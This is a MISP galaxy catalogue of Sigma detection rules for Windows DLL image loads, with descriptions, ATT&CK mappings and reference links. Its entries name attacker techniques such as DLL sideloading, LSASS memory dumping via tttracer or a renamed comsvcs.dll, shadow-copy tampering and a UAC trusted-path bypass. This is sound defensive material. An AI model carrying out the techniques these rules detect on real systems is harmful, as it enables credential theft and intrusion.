- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16414. Table References

Links
https://lab52.io/blog/2344-2/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_ccleaner_du.yml

HackTool - SILENTTRINITY Stager DLL Load

Detects SILENTTRINITY stager dll loading activity

The tag is: *misp-galaxy:sigma-rules="HackTool - SILENTTRINITY Stager DLL Load"*

View relationships graph

HackTool - SILENTTRINITY Stager DLL Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 16415. Table References

Links
https://github.com/byt3bl33d3r/SILENTTRINITY
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_hktl_silenttrinity_stager.yml

Potential Iviewers.DLL Sideloading

Detects potential DLL sideloading of "iviewers.dll" (OLE/COM Object Interface Viewer)

The tag is: *misp-galaxy:sigma-rules="Potential Iviewers.DLL Sideloading"*

View relationships graph

Potential Iviewers.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16416. Table References

Links
https://www.secureworks.com/research/shadowpad-malware-analysis
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_iviewers.yml

Potential appverifUI.DLL Sideloading

Detects potential DLL sideloading of "appverifUI.dll"

The tag is: *misp-galaxy:sigma-rules="Potential appverifUI.DLL Sideloading"*

View relationships graph

Potential appverifUI.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16417. Table References

Links
https://web.archive.org/web/20220519091349/https://fatrodzianko.com/2020/02/15/dll-side-loading-appverif-exe/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_appverifui.yml

MMC Loading Script Engines DLLs

Detects when the Microsoft Management Console (MMC) loads the DLL libraries like vbscript, jscript etc which might indicate an attempt to execute malicious scripts within a trusted system process for bypassing application whitelisting or defense evasion.

The tag is: *misp-galaxy:sigma-rules="MMC Loading Script Engines DLLs"*

View relationships graph

MMC Loading Script Engines DLLs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="MMC - T1218.014" with estimative-language:likelihood-probability="almost-certain"

Table 16418. Table References

Links
https://tria.ge/241015-l98snsyeje/behavioral2
https://www.elastic.co/security-labs/grimresource
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_win_mmc_loads_script_engine_dll.yml

DLL Sideloading Of ShellChromeAPI.DLL

Detects processes loading the non-existent DLL "ShellChromeAPI". One known example is the "DeviceEnroller" binary in combination with the "PhoneDeepLink" flag tries to load this DLL. Adversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter

The tag is: *misp-galaxy:sigma-rules="DLL Sideloading Of ShellChromeAPI.DLL"*

View relationships graph

DLL Sideloading Of ShellChromeAPI.DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16419. Table References

Links
https://strontic.github.io/xcyclopedia/library/DeviceEnroller.exe-24BEF0D6B0ECED36BB41831759FDE18D.html
https://mobile.twitter.com/0gtweet/status/1564131230941122561
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_shell_chrome_api.yml

Potential System DLL Sideloading From Non System Locations

Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64, etc.).

The tag is: *misp-galaxy:sigma-rules="Potential System DLL Sideloading From Non System Locations"*

View relationships graph

Potential System DLL Sideloading From Non System Locations has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16420. Table References

Links
https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md
https://www.hexacorn.com/blog/2023/12/26/1-little-known-secret-of-runonce-exe-32-bit/
https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/
https://hijacklibs.net/
https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_from_non_system_location.yml

Trusted Path Bypass via Windows Directory Spoofing

Detects DLLs loading from a spoofed Windows directory path with an extra space (e.g "C:\Windows \System32") which can bypass Windows trusted path verification. This technique tricks Windows into treating the path as trusted, allowing malicious DLLs to load with high integrity privileges bypassing UAC.

The tag is: *misp-galaxy:sigma-rules="Trusted Path Bypass via Windows Directory Spoofing"*

View relationships graph

Trusted Path Bypass via Windows Directory Spoofing has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 16421. Table References

Links
https://x.com/Wietze/status/1933495426952421843
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_win_trusted_path_bypass.yml

Suspicious Volume Shadow Copy VSS_PS.dll Load

Detects the image load of vss_ps.dll by uncommon executables. This DLL is used by the Volume Shadow Copy Service (VSS) to manage shadow copies of files and volumes. It is often abused by attackers to delete or manipulate shadow copies, which can hinder forensic investigations and data recovery efforts. The fact that it is loaded by processes that are not typically associated with VSS operations can indicate suspicious activity.

The tag is: *misp-galaxy:sigma-rules="Suspicious Volume Shadow Copy VSS_PS.dll Load"*

View relationships graph

Suspicious Volume Shadow Copy VSS_PS.dll Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 16422. Table References

Links
https://www.virustotal.com/gui/file/ba88ca45589fae0139a40ca27738a8fc2dfbe1be5a64a9558f4e0f52b35c5add
https://twitter.com/am0nsec/status/1412232114980982787
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_vss_ps_susp_load.yml

Potential EACore.DLL Sideloading

Detects potential DLL sideloading of "EACore.dll"

The tag is: *misp-galaxy:sigma-rules="Potential EACore.DLL Sideloading"*

View relationships graph

Potential EACore.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16423. Table References

Links
https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_eacore.yml

Potential Edputil.DLL Sideloading

Detects potential DLL sideloading of "edputil.dll"

The tag is: *misp-galaxy:sigma-rules="Potential Edputil.DLL Sideloading"*

View relationships graph

Potential Edputil.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16424. Table References

Links
https://alternativeto.net/news/2023/5/cybercriminals-use-wordpad-vulnerability-to-spread-qbot-malware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_edputil.yml

Potential DLL Sideloading Via VMware Xfer

Detects loading of a DLL by the VMware Xfer utility from the non-default directory which may be an attempt to sideload arbitrary DLL

The tag is: *misp-galaxy:sigma-rules="Potential DLL Sideloading Via VMware Xfer"*

View relationships graph

Potential DLL Sideloading Via VMware Xfer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16425. Table References

Links
https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmware_xfer.yml

PowerShell Core DLL Loaded Via Office Application

Detects PowerShell core DLL being loaded by an Office Product

The tag is: *misp-galaxy:sigma-rules="PowerShell Core DLL Loaded Via Office Application"*

Table 16426. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_powershell_dll_load.yml

Diagnostic Library Sdiageng.DLL Loaded By Msdt.EXE

Detects both of CVE-2022-30190 (Follina) and DogWalk vulnerabilities exploiting msdt.exe binary to load the "sdiageng.dll" library

The tag is: *misp-galaxy:sigma-rules="Diagnostic Library Sdiageng.DLL Loaded By Msdt.EXE"*

View relationships graph

Diagnostic Library Sdiageng.DLL Loaded By Msdt.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 16427. Table References

Links
https://www.securonix.com/blog/detecting-microsoft-msdt-dogwalk/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_sdiageng_load_by_msdt.yml

Potential Python DLL SideLoading

Detects potential DLL sideloading of Python DLL files.

The tag is: *misp-galaxy:sigma-rules="Potential Python DLL SideLoading"*

View relationships graph

Potential Python DLL SideLoading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16428. Table References

Links
https://thedfirreport.com/2024/09/30/nitrogen-campaign-drops-sliver-and-ends-with-blackcat-ransomware/
https://www.securonix.com/blog/seolurker-attack-campaign-uses-seo-poisoning-fake-google-ads-to-install-malware/
https://github.com/wietze/HijackLibs/tree/dc9c9f2f94e6872051dab58fbafb043fdd8b4176/yml/3rd_party/python
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_python.yml

Time Travel Debugging Utility Usage - Image

Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.

The tag is: *misp-galaxy:sigma-rules="Time Travel Debugging Utility Usage - Image"*

View relationships graph

Time Travel Debugging Utility Usage - Image has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16429. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Tttracer/
https://twitter.com/oulusoyum/status/1191329746069655553
https://twitter.com/mattifestation/status/1196390321783025666
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_tttracer_module_load.yml

Microsoft Office DLL Sideload

Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location

The tag is: *misp-galaxy:sigma-rules="Microsoft Office DLL Sideload"*

View relationships graph

Microsoft Office DLL Sideload has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16430. Table References

Links
https://hijacklibs.net/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_office_dlls.yml

Potential 7za.DLL Sideloading

Detects potential DLL sideloading of "7za.dll"

The tag is: *misp-galaxy:sigma-rules="Potential 7za.DLL Sideloading"*

View relationships graph

Potential 7za.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16431. Table References

Links
https://www.gov.pl/attachment/ee91f24d-3e67-436d-aa50-7fa56acf789d
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_7za.yml

WMIC Loading Scripting Libraries

Detects threat actors proxy executing code and bypassing application controls by leveraging wmic and the `/FORMAT` argument switch to download and execute an XSL file (i.e js, vbs, etc). It could be an indicator of SquiblyTwo technique, which uses Windows Management Instrumentation (WMI) to execute malicious code.

The tag is: *misp-galaxy:sigma-rules="WMIC Loading Scripting Libraries"*

View relationships graph

WMIC Loading Scripting Libraries has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"

Table 16432. Table References

Links
https://twitter.com/dez_/status/986614411711442944
https://lolbas-project.github.io/lolbas/Binaries/Wmic/
https://securitydatasets.com/notebooks/atomic/windows/defense_evasion/SDWIN-201017061100.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml

Potential Vivaldi_elf.DLL Sideloading

Detects potential DLL sideloading of "vivaldi_elf.dll"

The tag is: *misp-galaxy:sigma-rules="Potential Vivaldi_elf.DLL Sideloading"*

View relationships graph

Potential Vivaldi_elf.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16433. Table References

Links
https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vivaldi_elf.yml

Potential DLL Sideloading Of Non-Existent DLLs From System Folders

Detects loading of specific system DLL files that are usually not present on the system (or at least not in system directories) but may be loaded by legitimate processes, potentially indicating phantom DLL hijacking attempts. Phantom DLL hijacking involves placing malicious DLLs with names of non-existent system binaries in locations where legitimate applications may search for them, leading to execution of the malicious DLLs.

The tag is: *misp-galaxy:sigma-rules="Potential DLL Sideloading Of Non-Existent DLLs From System Folders"*

View relationships graph

Potential DLL Sideloading Of Non-Existent DLLs From System Folders has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16434. Table References

Links
https://itm4n.github.io/cdpsvc-dll-hijacking/
https://x.com/0gtweet/status/1564131230941122561
https://www.crowdstrike.com/en-us/blog/4-ways-adversaries-hijack-dlls/
https://securelist.com/passiveneuron-campaign-with-apt-implants-and-cobalt-strike/117745/
http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html
https://www.hexacorn.com/blog/2025/06/14/wpr-exe-boottrace-phantom-dll-axeonoffhelper-dll-lolbin/
https://decoded.avast.io/martinchlumecky/png-steganography/
https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/
https://www.hexacorn.com/blog/2025/06/14/wermgr-exe-boot-offdmpsvc-dll-lolbin/
https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/
https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992
https://github.com/Wh04m1001/SysmonEoP

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_non_existent_dlls.yml

Load Of RstrtMgr.DLL By An Uncommon Process

Detects the load of RstrtMgr DLL (Restart Manager) by an uncommon process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes.

The tag is: *misp-galaxy:sigma-rules="Load Of RstrtMgr.DLL By An Uncommon Process"*

View relationships graph

Load Of RstrtMgr.DLL By An Uncommon Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16435. Table References

Links
https://taiwan.postsen.com/business/88601/Hamas-hackers-use-data-destruction-software-BiBi-which-consumes-a-lot-of-processor-resources-to-wipe-Windows-computer-data—iThome.html
https://web.archive.org/web/20231221193106/https://www.swascan.com/cactus-ransomware-malware-analysis/
https://www.crowdstrike.com/blog/windows-restart-manager-part-1/
https://www.crowdstrike.com/blog/windows-restart-manager-part-2/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_rstrtmgr_uncommon_load.yml

GAC DLL Loaded Via Office Applications

Detects any GAC DLL being loaded by an Office Product

The tag is: *misp-galaxy:sigma-rules="GAC DLL Loaded Via Office Applications"*

View relationships graph

GAC DLL Loaded Via Office Applications has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 16436. Table References

Links
https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_dotnet_gac_dll_load.yml

DLL Load By System Process From Suspicious Locations

Detects when a system process (i.e. located in system32, syswow64, etc.) loads a DLL from a suspicious location or a location with permissive permissions such as "C:\Users\Public"

The tag is: *misp-galaxy:sigma-rules="DLL Load By System Process From Suspicious Locations"*

View relationships graph

DLL Load By System Process From Suspicious Locations has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 16437. Table References

Links
https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC (Idea)[https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC (Idea)]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_dll_load_system_process.yml

DotNet CLR DLL Loaded By Scripting Applications

Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript. This could be an indication of potential suspicious execution.

The tag is: *misp-galaxy:sigma-rules="DotNet CLR DLL Loaded By Scripting Applications"*

View relationships graph

DotNet CLR DLL Loaded By Scripting Applications has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 16438. Table References

Links

https://github.com/tyranid/DotNetToJScript
https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008
https://thewover.github.io/Introducing-Donut/
https://web.archive.org/web/20230329154538/https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml

Potential SmadHook.DLL Sideloading

Detects potential DLL sideloading of "SmadHook.dll", a DLL used by SmadAV antivirus

The tag is: *misp-galaxy:sigma-rules="Potential SmadHook.DLL Sideloading"*

View relationships graph

Potential SmadHook.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16439. Table References

Links
https://research.checkpoint.com/2023/malware-spotlight-camaro-dragons-tinynote-backdoor/
https://www.qurium.org/alerts/targeted-malware-against-crph/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_smadhook.yml

Potential DLL Sideloading Of MpSvc.DLL

Detects potential DLL sideloading of "MpSvc.dll".

The tag is: *misp-galaxy:sigma-rules="Potential DLL Sideloading Of MpSvc.DLL"*

View relationships graph

Potential DLL Sideloading Of MpSvc.DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16440. Table References

Links
https://hijacklibs.net/entries/microsoft/built-in/mpsvc.html

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_mpsvc.yml

Potential DLL Sideloading Of MsCorSvc.DLL

Detects potential DLL sideloading of "mscorsvc.dll".

The tag is: *misp-galaxy:sigma-rules="Potential DLL Sideloading Of MsCorSvc.DLL"*

View relationships graph

Potential DLL Sideloading Of MsCorSvc.DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16441. Table References

Links
https://hijacklibs.net/entries/microsoft/built-in/mscorsvc.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_mscorsvc.yml

Abusable DLL Potential Sideloading From Suspicious Location

Detects potential DLL sideloading of DLLs that are known to be abused from suspicious locations

The tag is: *misp-galaxy:sigma-rules="Abusable DLL Potential Sideloading From Suspicious Location"*

View relationships graph

Abusable DLL Potential Sideloading From Suspicious Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 16442. Table References

Links
https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html
https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_abused_dlls_susp_paths.yml

Clfs.SYS Loaded By Process Located In a Potential Suspicious Location

Detects Clfs.sys being loaded by a process running from a potentially suspicious location. Clfs.sys is loaded as part of many CVEs exploits that targets Common Log File.

The tag is: *misp-galaxy:sigma-rules="Clfs.SYS Loaded By Process Located In a Potential Suspicious Location"*

View relationships graph

Clfs.SYS Loaded By Process Located In a Potential Suspicious Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 16443. Table References

Links
https://x.com/Threatlabz/status/1879956781360976155
https://ssd-disclosure.com/ssd-advisory-common-log-file-system-clfs-driver-pe/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_clfs_load.yml

Suspicious Volume Shadow Copy Vssapi.dll Load

Detects the image load of VSS DLL by uncommon executables

The tag is: *misp-galaxy:sigma-rules="Suspicious Volume Shadow Copy Vssapi.dll Load"*

View relationships graph

Suspicious Volume Shadow Copy Vssapi.dll Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 16444. Table References

Links
https://github.com/ORCx41/DeleteShadowCopies
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_vssapi_susp_load.yml

Potential DLL Sideloading Of DBGHELP.DLL

Detects potential DLL sideloading of "dbghelp.dll"

The tag is: *misp-galaxy:sigma-rules="Potential DLL Sideloading Of DBGHELP.DLL"*

View relationships graph

Potential DLL Sideloading Of DBGHELP.DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16445. Table References

Links
https://hijacklibs.net/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbghelp.yml

Potential Waveedit.DLL Sideloading

Detects potential DLL sideloading of "waveedit.dll", which is part of the Nero WaveEditor audio editing software.

The tag is: *misp-galaxy:sigma-rules="Potential Waveedit.DLL Sideloading"*

View relationships graph

Potential Waveedit.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16446. Table References

Links
https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_waveedit.yml

Potential DLL Sideloading Via JsSchHlp

Detects potential DLL sideloading using JUSTSYSTEMS Japanese word processor

The tag is: *misp-galaxy:sigma-rules="Potential DLL Sideloading Via JsSchHlp"*

View relationships graph

Potential DLL Sideloading Via JsSchHlp has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-

language:likelihood-probability="almost-certain"

Table 16447. Table References

Links
http://www.windowexe.com/bbs/board.php?q=jsschhlp-exe-c-program-files-common-files-justsystem-jsschhlp-jsschhlp
https://www.welivesecurity.com/2022/12/14/unmasking-mirrorface-operation-liberalface-targeting-japanese-political-entities/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_jsschhlp.yml

Potential DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE

Detects potential DLL side loading of "KeyScramblerIE.dll" by "KeyScrambler.exe". Various threat actors and malware have been found side loading a masqueraded "KeyScramblerIE.dll" through "KeyScrambler.exe".

The tag is: *misp-galaxy:sigma-rules="Potential DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE"*

View relationships graph

Potential DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16448. Table References

Links
https://bazaar.abuse.ch/sample/5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831/
https://csirt-cti.net/2024/02/01/stately-taurus-continued-new-information-on-cyberespionage-attacks-against-myanmar-military-junta/
https://thehackernews.com/2024/03/two-chinese-apt-groups-ramp-up-cyber.html
https://twitter.com/Max_Mal_/status/1775222576639291859
https://twitter.com/DTCERT/status/1712785426895839339
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_keyscrambler.yml

Suspicious WSMAN Provider Image Loads

Detects signs of potential use of the WSMAN provider from uncommon processes locally and

remote execution.

The tag is: *misp-galaxy:sigma-rules="Suspicious WSMAN Provider Image Loads"*

View relationships graph

Suspicious WSMAN Provider Image Loads has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

Table 16449. Table References

Links
https://twitter.com/chadtilbury/status/1275851297770610688
https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/
https://github.com/bohops/WSMan-WinRM
https://learn.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-architecture
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wsman_provider_image_load.yml

Potential Mfdetours.DLL Sideloading

Detects potential DLL sideloading of "mfdetours.dll". While using "mftrace.exe" it can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution.

The tag is: *misp-galaxy:sigma-rules="Potential Mfdetours.DLL Sideloading"*

View relationships graph

Potential Mfdetours.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16450. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_mfdetours.yml

Suspicious Renamed Comsvcs DLL Loaded By Rundll32

Detects rundll32 loading a renamed comsvcs.dll to dump process memory

The tag is: *misp-galaxy:sigma-rules="Suspicious Renamed Comsvcs DLL Loaded By Rundll32"*

View relationships graph

Suspicious Renamed Comsvcs DLL Loaded By Rundll32 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16451. Table References

Links
https://twitter.com/sbousseaden/status/1555200155351228419
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_comsvcs_load_renamed_version_by_rundll32.yml

Potential WWlib.DLL Sideloading

Detects potential DLL sideloading of "wwlib.dll"

The tag is: *misp-galaxy:sigma-rules="Potential WWlib.DLL Sideloading"*

View relationships graph

Potential WWlib.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16452. Table References

Links
https://securelist.com/apt-luminousmoth/103332/
https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/
https://twitter.com/WhichbufferArda/status/1658829954182774784
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_wwlib.yml

VMMap Signed Dbghelp.DLL Potential Sideloading

Detects potential DLL sideloading of a signed dbghelp.dll by the Sysinternals VMMap.

The tag is: *misp-galaxy:sigma-rules="VMMap Signed Dbghelp.DLL Potential Sideloading"*

View relationships graph

VMMap Signed Dbghelp.DLL Potential Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16453. Table References

Links
https://techcommunity.microsoft.com/t5/sysinternals-blog/zoomit-v7-1-procdump-2-0-for-linux-process-explorer-v17-05/ba-p/3884766
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmmap_dbghelp_signed.yml

WMI Persistence - Command Line Event Consumer

Detects WMI command line event consumers

The tag is: *misp-galaxy:sigma-rules="WMI Persistence - Command Line Event Consumer"*

View relationships graph

WMI Persistence - Command Line Event Consumer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 16454. Table References

Links
https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmi_persistence_commandline_event_consumer.yml

Potential RjvPlatform.DLL Sideloading From Non-Default Location

Detects potential DLL sideloading of "RjvPlatform.dll" by "SystemResetPlatform.exe" located in a non-default location.

The tag is: *misp-galaxy:sigma-rules="Potential RjvPlatform.DLL Sideloading From Non-Default Location"*

View relationships graph

Potential RjvPlatform.DLL Sideloading From Non-Default Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-

language:likelihood-probability="almost-certain"

Table 16455. Table References

Links
https://twitter.com/0gtweet/status/1666716511988330499
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_rjvplatform_non_default_location.yml

Third Party Software DLL Sideloading

Detects DLL sideloading of DLLs that are part of third party software (zoom, discord....etc)

The tag is: *misp-galaxy:sigma-rules="Third Party Software DLL Sideloading"*

View relationships graph

Third Party Software DLL Sideloading has relationships with:

